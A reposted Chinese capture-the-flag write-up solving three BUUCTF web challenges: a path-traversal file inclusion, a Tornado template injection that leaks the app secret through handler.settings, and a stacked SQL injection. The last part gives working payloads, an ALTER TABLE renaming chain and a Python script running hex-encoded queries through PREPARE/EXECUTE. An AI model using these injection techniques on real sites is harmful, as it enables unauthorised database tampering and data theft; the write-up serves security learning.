BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1

1.WarmUp

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第1张图片

思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有

 2.easy_tornado

题目就给了这些信息,flag路径已知,render应该是跟模板注入相关,hint.txt给的应该是filehash的算法,

看看url,我们可以控制文件名和文件hash

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第2张图片

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第3张图片

随便传一个不存在的文件名会跳转到error页面,这里直接把error字符串返回了回来,所以尝试一下模板注入,写个9,也返回了,猜测题目应该是我们需要去算出flag文件对应的filehash,但是因为这个密钥是不知道的,所以我们需要去通过模板注入弄出密钥,题目又是tornado,这里常规模板注入的字符比如[],()都被过滤掉了,因此尝试找一些tonado的全局配置来读取看看

 BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第4张图片

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第5张图片

所以用handler.settings可以访问到tornado的一些“应用程序设置“,那么web网站中的一些变量信息应该也在其中存储着,所以直接访问就能得到密钥,然后就可以根据这个密钥来构造filehash

得到secret然后md5哈希一下就可以,看文档还是有用的,不会就多看文档多google,当然思路要对,比如这里就猜测secret存储在应用的一些全局配置中。

3.随便注

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第6张图片

这里首先提交1,这里回显的1对应的数据,然后提交1',报错了

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第7张图片

再提交1' or ''=',返回正常:

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第8张图片

说明肯定存在注入,但是这里把常见的关键字都过掉了,并且是不区分大小写的正则进行过滤,所以常规的查系统表然后注入的方法肯定不行,这里可以尝试堆叠注入。

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第9张图片

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第10张图片

得到了两张表,那么接下来肯定要查一下两张表有哪些字段,用show coloums from,就可以得到flag字段,这里使用show create table `1919810931114514`;语句也可以查到表的结构。
然后

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第11张图片

 

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第12张图片

 这里有两种解法:

第一种,因为后端数据库实际上是查询的words表,可以使用alter来更改表名和表字段,让1919810931114514的表更名为words表,那么查询的words的时候实际上是对19这张表的查询,这思路真骚。

payload为:

';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

然后再查询就可以查询到flag了,这里我猜测后端语句应该是select * from words where id=1

BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1_第13张图片

 

 第二种,除了这种骚操作,常规的我见过的还是这种:

#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject='
payload="select flag from `1919810931114514`;"
payload=payload.encode('hex')
payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content

先编译sql语句,这里将payload进行了16进制编码,然后使用execute来进行执行,这里16进制编码的payload在编译中可以识别出来的,又学到了。

 

转载于:https://www.cnblogs.com/wfzWebSecuity/p/11240956.html

你可能感兴趣的:(BUUCTF平台-web-(WarmUp+easy_tornado+随便注)记录-day1)